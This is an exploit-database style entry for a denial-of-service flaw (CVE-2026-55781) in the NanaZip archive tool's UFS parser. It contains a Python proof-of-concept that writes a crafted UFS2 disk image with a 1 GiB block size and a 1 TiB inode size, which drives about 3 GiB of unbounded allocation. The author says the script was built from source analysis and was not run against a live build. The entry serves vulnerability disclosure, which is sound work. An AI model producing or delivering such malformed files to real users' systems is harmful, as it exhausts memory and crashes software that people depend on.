# Exploit Title: NanaZip 6.5 - DoS
# Date: 2026-07-17
# Exploit Author: Pig-Tail (Jorge González Milla)
# Vendor Homepage: https://github.com/M2Team/NanaZip
# Software Link: https://github.com/M2Team/NanaZip/releases
# Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0)
# Tested on: Windows
# CVE: CVE-2026-55781
# Category: dos
# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55781-NanaZip
An attacker-controlled fs_bsize field in a crafted UFS image drives an unbounded allocation in the NanaZip.Codecs UFS handler before any bounds check.
NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source
(NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but
was not executed against a running build. Benign — it only generates the malformed carrier file.
--- PoC generator (GHSA-m34h-jf84-m74h.py) ---
#!/usr/bin/env python3
# PoC generator: unbounded memory allocation in NanaZip's UFS parser
# (GHSA-m34h-jf84-m74h).
#
# A 66912-byte UFS2 image. The superblock at SBLOCK_UFS2 (65536) sets
# fs_bsize = 0x40000000 (1 GiB); Open() only enforces the lower bound MINBSIZE.
# Root inode #2 sits at GetInodeOffset(2) = (fs_iblkno=0)*fs_fsize + 2*256 = 512
# with di_size = 1 TiB, so GetInodeInformation() overruns its 12 direct blocks
# and allocates three 1 GiB indirect buffers (NanaZip.Codecs.Archive.Ufs.cpp:
# 435-437) -> ~3 GiB. All superblock field offsets below are the real offsetof()
# values from NanaZip's bundled FreeBSD/fs.h (struct fs, little-endian).
import struct
SB, SBSIZE = 65536, 1376
img = bytearray(SB + SBSIZE)
# --- root inode #2 at file offset 512 (ufs2_dinode) ---
struct.pack_into("<H", img, 512 + 0, 0x4000) # di_mode = IFDIR
struct.pack_into("<h", img, 512 + 2, 1) # di_nlink = 1
struct.pack_into("<Q", img, 512 + 16, 0x10000000000) # di_size = 1 TiB
# --- superblock @ 65536 (offsets = offsetof(struct fs, ...)) ---
struct.pack_into("<i", img, SB + 16, 0) # fs_iblkno
struct.pack_into("<I", img, SB + 44, 1) # fs_ncg
struct.pack_into("<i", img, SB + 48, 0x40000000) # fs_bsize (1 GiB)
struct.pack_into("<i", img, SB + 52, 1) # fs_fsize
struct.pack_into("<i", img, SB + 56, 1) # fs_frag
struct.pack_into("<i", img, SB + 104, SBSIZE) # fs_sbsize (>= sizeof(fs))
struct.pack_into("<q", img, SB + 1000, SB) # fs_sblockloc = SBLOCK_UFS2
struct.pack_into("<I", img, SB + 184, 16) # fs_ipg
struct.pack_into("<i", img, SB + 188, 0) # fs_fpg
struct.pack_into("<i", img, SB + 1320, 0) # fs_maxsymlinklen
struct.pack_into("<I", img, SB + 1372, 0x19540119) # fs_magic = FS_UFS2_MAGIC
with open("poc.img", "wb") as f:
f.write(img)
print(len(img), "bytes ->", "poc.img")